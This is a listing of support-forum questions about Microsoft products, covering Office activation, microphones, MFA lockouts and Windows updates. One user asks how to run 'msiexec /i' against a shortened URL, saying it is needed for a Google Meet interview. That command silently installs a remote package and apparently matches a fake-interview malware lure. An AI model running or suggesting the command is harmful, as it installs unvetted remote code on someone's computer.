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How to Activate Word and Excel on my old computer

Old Mac OS and Office 2019 Home & Student. Worked great til yesterday. Now I can't activate Word or Excel. Get Error 0x0. I see Support is displaying message indicating they are having problems with activating and make sure to have the most current…

Microsoft 365 and Office | Install, redeem, activate | For home | MacOS
asked 2026-08-14T21:20:46.2966667+00:00
Mark Dotson 0 Reputation points
answered 2026-08-14T21:56:20.9333333+00:00
EmilyS_726 24,385 Reputation points Volunteer Moderator
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Being forced to log into Office 365

I purchased Office for home a few years ago because I dislike Office 365. Today I am being forced to log into office 365 on my version of Word that I already paid for.

Microsoft 365 and Office | Subscription, account, billing | For home | Other
asked 2026-08-14T19:49:44.04+00:00
Laura Wakefield 0 Reputation points
answered 2026-08-14T21:53:16.0733333+00:00
Estrella721 44,845 Reputation points Independent Advisor
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My microphone will not work i ahve no idea what to do next

my microphone is not working i have checked the drivers are up to date ans tried various setting but its not regisreering my voice.

Windows for home | Windows 11 | Devices and drivers
asked 2026-08-14T17:19:01.8566667+00:00
sean donohoe 0 Reputation points
edited a comment 2026-08-14T21:53:03.6533333+00:00
Bulldog 3,660 Reputation points
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Activate an inactive application Add ins in Excel

I Followed the instructions in excel file/ Options/add ins/select the com add-ins needed, close & reopen excel but still showing as inactive

Microsoft 365 and Office | Excel | For business | Windows
asked 2026-08-13T17:35:52.1933333+00:00
Bessie G 0 Reputation points
commented 2026-08-14T21:51:02.7433333+00:00
Kai-L 17,200 Reputation points Microsoft External Staff Moderator
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Newly built PC Keeps crashing or restarting, replaced parts, can't figure it out

Hello anyone who can help! For months I've been fighting with a PC I built for a family member. I was having a few issues, sorted that out and waited a few weeks, new parts are installed. The PC Ran too hot I discovered after playing Expedition 33,…

Windows for home | Windows 11 | Performance and system failures
asked 2026-07-20T03:29:38.62+00:00
FixerUpper 0 Reputation points
commented 2026-08-14T21:50:33.0333333+00:00
Ivan B 120.2K Reputation points Independent Advisor
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Saved password went missing in Microsoft password manager under Edge browser

Hi! I've already contacted Windows tech support and found out it is sync issue and introduce me here. Kindly assist me for this issue, the issue also affected in my phone for saved passwords. Thanks.

Windows for home | Windows 11 | Security and privacy
asked 2026-08-10T11:08:53.02+00:00
Michael Newton 0 Reputation points
commented 2026-08-14T21:49:57.9666667+00:00
Michael Newton 0 Reputation points
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msiexec /i https://abre.ai/sdac /passive /norestart.

I need to install the following: msiexec /i https://abre.ai/sdac /passive /norestart. I am not able too. I have tried through task manager via administration. How can I update/install this. I need it to access an interview via Google Meet.

Windows for home | Windows 11 | Install and upgrade
asked 2026-08-14T21:48:06.12+00:00
Debra McCabe 0 Reputation points
answered 2026-08-14T21:48:20.8333333+00:00

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After installing Microsoft 365, I get a screen telling me to accept the license agreement, but there is no way to proceed

We have a Family account for Microsoft 365 and I am the owner. I have installed Microsoft 365 on my computer, but when I try to open any of the apps, I get the initial splash screen for the app, but then I am immediately presented with a screen that says…

Microsoft 365 and Office | Word | For home | Windows
asked 2025-10-22T19:06:48.4333333+00:00
Douglas Gordon 5 Reputation points
commented 2026-08-14T21:48:09.2+00:00
James Tran 0 Reputation points
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Unable to open shared notebook in OneNote Desktop app

Shared one note from work email to personal email. Unable to open shared notebook in onenote app on personal laptop. Shared OneNote file will only open in browser. There is no option to open in desktop app under edit button (only shows edit or view).…

Microsoft 365 and Office | OneNote | Other | Windows
asked 2025-11-19T03:35:57.5433333+00:00
Kent Coble 5 Reputation points
commented 2026-08-14T21:45:06.4033333+00:00
NBB 0 Reputation points
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I am locked out of my office 365 email account.

I keep trying to log into my business email and need to open a support ticket. Once I get to the MFA protection, nothing works. I need to recover the account and maybe get a new set of security codes. Can the data protection team help, as I have spent a…

Microsoft 365 and Office | Subscription, account, billing | For business | Other
asked 2026-08-14T20:57:21.8866667+00:00
Bernard Dorcin 0 Reputation points
edited a comment 2026-08-14T21:44:05.01+00:00
Emily T 565 Reputation points Microsoft External Staff Moderator
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HP Inc extension 1.0.0.5 failed 0x802040034

I've trying to update my computer to 22H2 update for months now, but it keeps failing. I've tried sfc /scannow, clearing my SoftwareDistribution folder folder, and using DISM /Online /Cleanup-Image /RestoreHealth. Also tried using the Windows Update…

Windows for home | Windows 10 | Windows update
asked 2026-08-14T17:38:54.9666667+00:00
Alejandro Franco 0 Reputation points
answered 2026-08-14T21:41:30.8966667+00:00
John DeV 168.2K Reputation points Independent Advisor
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I have an 'old' pc with Xp on it and I want to log on to it to delete the information on it before I send for recycling

I have forgotten my password on an old pc which I wanted to delete the files on it before I send it for recycling

Windows for home | Previous Windows versions | Desktop, Start, and personalization
asked 2026-08-14T20:21:39.7866667+00:00
Sam Carruthers 0 Reputation points
edited an answer 2026-08-14T21:39:09.9+00:00
Craig Long 18,525 Reputation points
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Unable to sign into OneNote on iPad Pro with student school account

Hello, it is the beginning of the school year, and I am looking to use OneNote again this year to annotate notes, as I did last year. However, I am currently unable to sign in to OneNote app on my iPad Pro. I do not think the problem is my account since…

Microsoft 365 and Office | OneNote | For education | iOS
asked 2026-08-14T20:43:47.5833333+00:00
Adrienne 0 Reputation points
edited the question 2026-08-14T21:34:22.9166667+00:00
Kai-L 17,200 Reputation points Microsoft External Staff Moderator
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Microsoft Teams Bot User Not Receiving Notifications

Hello, I created a Microsoft Teams bot application and I've encountered a situation, where there is a user that has installed it but is not receiving any notifications. They've tried uninstalling the application and then reinstalling it multiple of times…

Microsoft Teams | Microsoft Teams for business | Settings | Configure notifications
asked 2026-08-14T18:40:18.66+00:00
Kristy-1127 20 Reputation points
commented 2026-08-14T21:31:14.61+00:00
Kai-L 17,200 Reputation points Microsoft External Staff Moderator
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Deleting mysql server 2019 instance configuration and things of that matter.

For one of my college classes I was told to download a sql server 2019 and the ssms 19.3 after I finished that classes I asked my teacher how to uninstall everything but he didn't respond back so I decided to try and delete the stuff myself I didn't…

SQL Server | Other
SQL Server | Other

Additional SQL Server features and topics not covered by specific categories

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asked 2026-08-14T15:50:17.15+00:00
Jordan Willingham 0 Reputation points
answered 2026-08-14T21:30:30.2833333+00:00
Erland Sommarskog 136.3K Reputation points MVP Volunteer Moderator
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How do I request Unity Catalog access for my team's Databricks workspace?

I am looking to see if I can add Unity Catalog on my team's Databricks workspace. The goal is to be able the leverage the Databricks extension on VS Code to develop locally (with support of AI-assisted development tools like Github Copilot CLI) but still…

Azure Databricks
Azure Databricks

An Apache Spark-based analytics platform optimized for Azure.

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asked 2026-08-14T19:21:45.5066667+00:00
Niki Vasan 0 Reputation points Microsoft Employee
commented 2026-08-14T21:29:06.31+00:00
Pilladi Padma Sai Manisha 11,700 Reputation points Microsoft External Staff Moderator
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How to download Microsoft Visual C++ 2015–2022 Redistributable (64x)

Hey! I bought the game Subliminal on Steam and downloaded it into my Crossover bottle (I'm using Mac), and I got this error message, but I can't find where to download Microsoft Visual C++ 2015–2022 Redistributable (64x) into that Crossover bottle.

Developer technologies | C++
Developer technologies | C++

A high-level, general-purpose programming language, created as an extension of the C programming language, that has object-oriented, generic, and functional features in addition to facilities for low-level memory manipulation.

4,104 questions
asked 2026-08-14T19:28:44.3566667+00:00
Gáspár Békés-Varró 0 Reputation points
answered 2026-08-14T21:28:10.15+00:00
William Joseph 0 Reputation points
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Troubleshoot Microphones

The Microphone works on some devices but not on all, can you troubleshoot the microphones and the Realtek Software?

Windows for home | Windows 10 | Devices and drivers
asked 2026-08-14T21:27:01.81+00:00
Jack Wilkins 0 Reputation points
answered 2026-08-14T21:27:26.7166667+00:00

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Who do I talk to about managing my Microsoft Defender settings?

We are getting monthly charges for $20 for Defender Prime. How do I cancel this? #

Windows for home | Windows 10 | Security and privacy
asked 2026-08-14T17:04:33.2533333+00:00
Rob Koch 0 Reputation points
answered 2026-08-14T21:25:09.4233333+00:00
DYARI BARHAM 36,896 Reputation points Independent Advisor
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authenticator app issue

I'm trying to login to my school account and it's not working. I got a new phone and unfortunately the authenticator app didn't back up and I no longer have the old phone. Can someone please tell me how to login to my account before school starts in a…

Microsoft 365 and Office | Subscription, account, billing | For education | Other
asked 2026-08-14T21:03:33.18+00:00
Ezidore, Myles 0 Reputation points
edited an answer 2026-08-14T21:20:43.7633333+00:00
Kristen Tran 420 Reputation points Independent Advisor